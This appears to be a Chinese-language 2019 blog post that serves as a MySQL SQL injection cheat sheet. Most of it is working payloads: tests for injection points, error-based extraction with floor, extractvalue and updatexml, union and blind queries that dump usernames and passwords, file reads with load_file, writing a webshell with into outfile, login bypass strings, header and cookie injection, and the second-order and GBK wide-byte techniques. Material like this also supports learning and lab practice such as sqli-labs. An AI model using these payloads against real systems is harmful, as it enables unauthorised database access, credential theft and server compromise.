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MySQL注入–Payload

  • 2019 年 10 月 25 日
  • 筆記

MySQL注入–Payload

Mirror王宇陽

2019-10-22

SQL的注入流程一般如下：

1、判斷是否有SQL注入漏洞（判斷注入點）

2、判斷資料庫的系統架構、資料庫名、web應用類型等

3、獲取資料庫資訊

4、加密資訊破解

5、進行提權

前篇

注入漏洞分類：

數字型注入:

當輸入（注入）的參數為整數，則可以認為該漏洞注入點為數字型注入；

http://192.168.2.172/index.php/?id=8

在後端中SQL語句構成如下：

select * from user where id=8;

字元型注入：

當輸入（注入）的參數為字元/串時可以認定為是字元型注入漏洞

其它注入：

POST注入：注入欄位在POST數據中

Cookie注入：注入欄位在Cookie數據中

延遲注入：使用資料庫延遲特性進行注入

搜索注入：在搜索欄中利用惡意程式碼進行注入

base64注入：注入字元串經過base64加密

判斷注入點

' or 1=1 #    and 1=1 #  and '1'='1' #  1') and ('1=1') #
url/?id=1/1  url/?id=1/0

判斷資料庫系統類型

PHP搭建的Web應用後端為MySQL

JSP搭建的Web應用後端為Oracle

ASP搭建的Web應用後端為MSSQL

MySQL

字元串連接判斷：

?id=1 and '1'+'1' = '11'  ?id=1 and concat('1','1')='11'

判斷資料庫的系統庫表：

' and (select count(*) from information_schema.tables)>0 and 1=1

MSSQL

默認變數：

'?; select @@servername--+

字元串連接判斷：

?id=1 and '1'+'1'='11'

資料庫系統表判斷：

' and (select count(*) from sysobjects)>0 and 1=1

Oracle

系統表判斷：

' and (select count(*) from sys.user_tables)>0 and 1=1

字元串連接判斷：

and '1'||'1' = '11'  and concat('1','1')='11'

MySQL注入姿勢payload

報錯注入

語句執行後返回異常資訊，這些異常資訊包含了重要數據

floor報錯注入：

floor和group by配合使用group by的key唯一性和編碼順序導致二次執行產生不同大的key

' and select count(*) from table group by floor(rand(0))*2 #  
union select 1,count(*),concat(0x7e,0x7e,(select table_name from information_schema.tables where table_schema='schema_name' limit 0,1),0x7e,0x7e,floor(rand(0)*2))x from information_schema.tables group by x #

count()統計行數

floor(x)返回小於或等於x的整數

rand()返回0~1的隨機數

floor（rand(0)*2）返回數的規律011011

原始表需要擁有三條數據以上

報錯注入產生原因：

調用count()函數是，會創建一張臨時表用來統計group by後的行數；第一次查詢到的結果為0，插入到臨時表中，由於結果為0 再一次對原始表進行查詢，結果返回1，插入到臨時表中；第二次查詢結果為1 因為臨時表有了1，所以直接在count(1)上加1，此時1欄位有了兩行，第三次查詢結果為0 插入到臨時表的同時再次查詢原始表，結果為1進行插入，由於此前1欄位已經存在。

ExtractValue報錯注入：

# 爆表  and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+  # 爆欄位  and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))=1 --+  # 爆數據  and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+  
1' and extractvalue(1,concat(0x7e,user()))#

extractvalue(xml_document,xpath_string)從目標XML查詢返回字元串

​ xml_document是string的格式，為XML文檔對象的名稱中文為Doc

​ xpath_stringXpath格式的字元串

​ concat返回結果為連接參數產生的字元串

我們從資料庫的注入點中進行報錯注入，得到了資料庫當前表

UpdateXml報錯注入：

1' and updatexml(1,concat(0x7e,(user())),1);#

updatexml(xml_document,xpath_string,new_value)從目標XML查詢返回字元串

​ xml-document是字元串格式，為XML文檔對象的名字中文為doc

​ xpath-stringxpath格式字元串

​ new_valuenew_value格式字元串

join報錯注入：

and (select * from (select * from test as a join test as b) as c using(column_name1,...));

join連接兩張表

test表名

using關聯兩張表的相同欄位

聯合注入

union select * from (select name_const(version(),1),name_const(version(),1))x;#

name_const(0)重複報錯，傳入參數為常量

# 猜解列數  union select 1,2[,……] --+  # 爆表  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+  # 爆欄位  union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+  # 爆數據  union select 1,group_concat(id,0x7e,email_id),3 from emails --+

group_concat()： 將group by產生的同一個分組中的值連接起來，返回一個字元串結果

盲注

通過條件是否成立來判斷

基於布爾盲注

?id=1' and left(version(),1)='5' --+

left()：從左截取a結果的1個長度的字元

只有當and後面的sql語句為True才不會報錯~……

通過猜解的方式，利用left的方法猜解資料庫的版本資訊第一個字元（環境是Mysql 5.1，所以版本資訊第一個字元是『5』）由此推演，我們可以利用布爾的判斷特性來猜解資料庫名……

如果我們不斷的對目標進行猜解，就可以得到資料庫名的第一個字元，以此類推第二個字元……第N個字元；資料庫名的長度也可以通過length(database())>=*進行猜解

牢記布爾盲注的特點：只有當and後面的sql語句為True才不會報錯；報錯就表示and後的sql語句不成立……開動腦筋就可以創造奇蹟

ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 #  
ascii(substr((select database()),1,1))=98

substr(a,b,c) 將a結果從b開始截取c長度字元，ascii()將字元轉為ascii值

like匹配注入

select user() like 'ro%'

基於報錯盲注

extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+  
updatexml(1,concat(0x7e,(select @@version),0x7e),0x7e) --+

基於時間盲注

主要思路就是利用時間延遲來判斷布爾條件是否達成，本質上是利用時間延遲來進行布爾和報錯盲注的判斷依據條件；用於沒有任何回顯資訊的時候使用~

If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句， 條件為假，

?id=1' and if(ascii(substr(database(),1,1))=96,1,sleep(10)) --+

ascii()負責猜解；if()負責判斷，若是猜解成立則返回1，若是猜解不成立延遲10秒

and exists(select * from admin);

exists()檢查行是否存在返回true或false

XOR(if(now()=sysdate(),sleep(4),0))OR;

xor異或，當條件不成立則執行sleep(4)

now()返回語句開始執行的時間

sysdate()動態的實時時間

sleep()設置sql語句的執行時間

distinct返回不重複欄位

文件的導入和導出

load_file()導出文件

load_file(file_name)：讀取文件並返回該文件的內容作為一個字元串

先決條件：

  • 具有文件的讀寫許可權 show variables like '%secure%';

  • 文件存在伺服器上且可讀

  • 了解文件的具體路徑

解決方案：

絕對物理物理：提交一個錯誤的請求，程式會由概率性質爆出web目錄的絕對路徑diaplay_errors=on

Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,  114,101,112,97,105,114,92,115,97,109)))  利用 hex()將文件內容導出來， 尤其是 smb 文件時可以使用。    -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))  Explain： 「char(99,58,47,98,111,111,116,46,105,110,105)」 就是「c:/boot.ini」 的 ASCII 程式碼    -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)  Explain： 「c:/boot.ini」 的 16 進位是「0x633a2f626f6f742e696e69」    -1 union select 1,1,1,load_file(c:boot.ini)  Explain:路徑里的/用 代替

load data infile導入資料庫

load data infile從文本文件中讀取行數據，並存入一個表中，

load data infile {url} into table 表名（欄位）

into outfile導入到文件

select [^] into outfile '[file_name]';

選擇的一行寫入到文件中，該文件保存在伺服器主機上

如果達到滲透攻擊的目的~就i利用into outfile將一句話木馬寫入到文件中

POST注入

提交表單，表單數據在後台會構成sql語句；

POST舉例：

$sql="SELECT user, pass FROM users WHERE username='$user' and pass='$pass'";

利用注釋符號的特性，改變sql語句的限制~

直接丟上萬能密碼

admin' or '1'='1' #  
uname= admin' or '1'='1' #&passwd=pass&submit=Submit

語句在後台就會構成：

$sql="SELECT user, pass FROM users WHERE username='admin' or '1'='1'#' and pass='$pass'"

後半部分的pass內容直接被注釋了！

POST利用：

uname= ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=pass&submit=Submit

post的注入利用，其實本質依舊沒有變~只是改變了請求的構造結構

有回顯的時候使用union或報錯注入

無法使用常規回顯的時候可以使用盲注……

HTTP頭部注入

User-Agent注入

用戶代理（user agent）是記錄軟體程式的客戶端資訊的 HTTP 頭欄位，他可以用來統計目標和違規協議。在 HTTP 頭中應該包含它，這個欄位的第一個空格前面是軟體的產品名稱，後面有一個可選的斜杠和版本號。並不是所有的應用程式都會被獲取到 user-agent 資訊，但是有些應用程式利用它存儲一些資訊（如：購物車）。在這種情況下，我們就有必要研究下 user-agent 頭存在的問題了。

GET /index.php HTTP/1.1  Host:xx.xxx.xxx.xx  User-Agent:admin' or 1/*

Referer注入

Referer 是另外一個當應用程式沒有過濾存儲到資料庫時，容易發生 SQL 注入的 HTTP 頭。它是一個允許客戶端指定的可選頭部欄位，通過它我們可以獲取到提交請求 URI 的伺服器情況。它允許伺服器產生一系列的回退鏈接文檔，像感興趣的內容，日誌等。它也允許跟蹤那些壞鏈接以便維護。

GET /index.php HTTP/1.1  Host: [host]  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36    Referer: http://www.yaboukir.com'

Cookie注入

在ASP中，Request對象獲取客戶端提交數據使用的是POST還是GET方法，同時Request對象可以不通過集合過的數據，直接使用request("name")asp按照QueryString(get),Form(post),Cookie,Serverariable集合順序來搜索，Cookie保存在客戶端的一個文本文件中，可以修改；正是這個原因可以利用request.cookie方法來提交變數的值，利用系統的漏洞來進行注入

​ 條件1是：程式對get和post方式提交的數據進行了過濾，但未對cookie提交的資料庫進行過濾。

　 條件2是：在條件1的基礎上還需要程式對提交數據獲取方式是直接request("xxx")的方式，未指明使用request對象的具體方法進行獲取，也就是說用request這個方法的時候獲取的參數可以是是在URL後面的參數也可以是cookie裡面的參數這裡沒有做篩選，之後的原理就像我們的sql注入一樣了。

javascript:alert(document.cookie="id="+escape("1"))

document.cookie當前瀏覽器中的cookie的value

alert() 彈出對話框，在對話框中確認資訊

escape() 用於對字元串進行編碼

Cookie的注入原理核心在於修改本地保存的Cookie，利用Cookie來提交非法的查詢語句

如果開發者沒有對Cookie進行過濾檢查，Cookie的就可能會造成非法查詢語句的構造

X-Forwarded-For注入

X-Forwarded-For是HTTP頭的一個欄位；他被認為是客戶端通過HTTP代理或者負載均衡器連接到Web服務端獲取源IP地址的標準

X-Forwarded-For常見於檢測用戶的IP是否合法；

利用FireFox的XFF Header插件或者將Burp抓到的爆保存給SQLmap

二次排序

*- 借鑒sqli-labs-24

分析環境文件：

login.php：查詢資料庫用戶存在和驗證登錄

login.php中使用了mysql_real_escape_string()函數對用戶輸入的字元串進行處理;會將特殊字元進行轉義使之失去效果；但是~之後數據存儲進資料庫後轉義的字元會恢復原樣！

思路：
  1. 黑客通過構造數據的形式， 在瀏覽器或者其他軟體中提交 HTTP 數據報文請求到服務
    端進行處理， 提交的數據報文請求中可能包含了黑客構造的 SQL 語句或者命令。
  2. 服務端應用程式會將黑客提交的數據資訊進行存儲， 通常是保存在資料庫中， 保存的
    數據資訊的主要作用是為應用程式執行其他功能提供原始輸入數據並對客戶端請求做出響
    應。
  3. 黑客向服務端發送第二個與第一次不相同的請求數據資訊。
  4. 服務端接收到黑客提交的第二個請求資訊後， 為了處理該請求， 服務端會查詢數據中已經存儲的數據資訊並處理， 從而導致黑客在第一次請求中構造的 SQL 語句或者命令在服務端環境中執行。
  5. 服務端返回執行的處理結果數據資訊， 黑客可以通過返回的結果數據資訊判斷二次注
    入漏洞利用是否成功。

在login_create.php註冊頁面中，使用了mysql_real_escape_string()但是數據還是會被存放在資料庫中……

數據會被完整的記錄在資料庫中

資料庫中有了我們的「小玩意」之後……

登錄我們的賬戶，因為我們的賬戶是以admin'#保存的，固然要這樣的去訪問和登錄

前端提交user和pass後，會在修改密碼頁面修改密碼

就這樣我們成功的修改了admin的密碼！為啥呢？

Sql 語句變為 UPDATE users SET passwd=」New_Pass」 WHERE username =』 admin』 # 『 AND password=』

也 就 是 執 行 了 UPDATE users SET passwd=」New_Pass」 WHERE sername =』admin』

利用註冊的admin』# 修改密碼時候從資料庫提取該數據 造成了數據 命令拼接

寬位元組注入

mysql 在使用 GBK 編碼的時候， 會認為兩個字元為一個漢字， 例如%aa%5c 就是一個
漢字（前一個 ascii 碼大於 128 才能到漢字的範圍） 。 我們在過濾 』 的時候， 往往利用的思
路是將 『 轉換為 』

1、 %df 吃掉  具體的原因是 urlencode(『) = %5c%27， 我們在%5c%27 前面添加%df， 形
成%df%5c%27， 而上面提到的 mysql 在 GBK 編碼方式的時候會將兩個位元組當做一個漢字， 此
事%df%5c 就是一個漢字， %27 則作為一個單獨的符號在外面， 同時也就達到了我們的目的。
2、 將 』 中的  過濾掉， 例如可以構造 %**%5c%5c%27 的情況， 後面的%5c 會被前面的%5c
給注釋掉。 這也是 bypass 的一種方法。

get 型的方式我們是以 url 形式提交的， 因此數據會通過 URLencode

post 型的注入當中， 將 utf-8 轉換為 utf-16 或 utf-32， 例如將 『 轉為 utf-16 為 � 『

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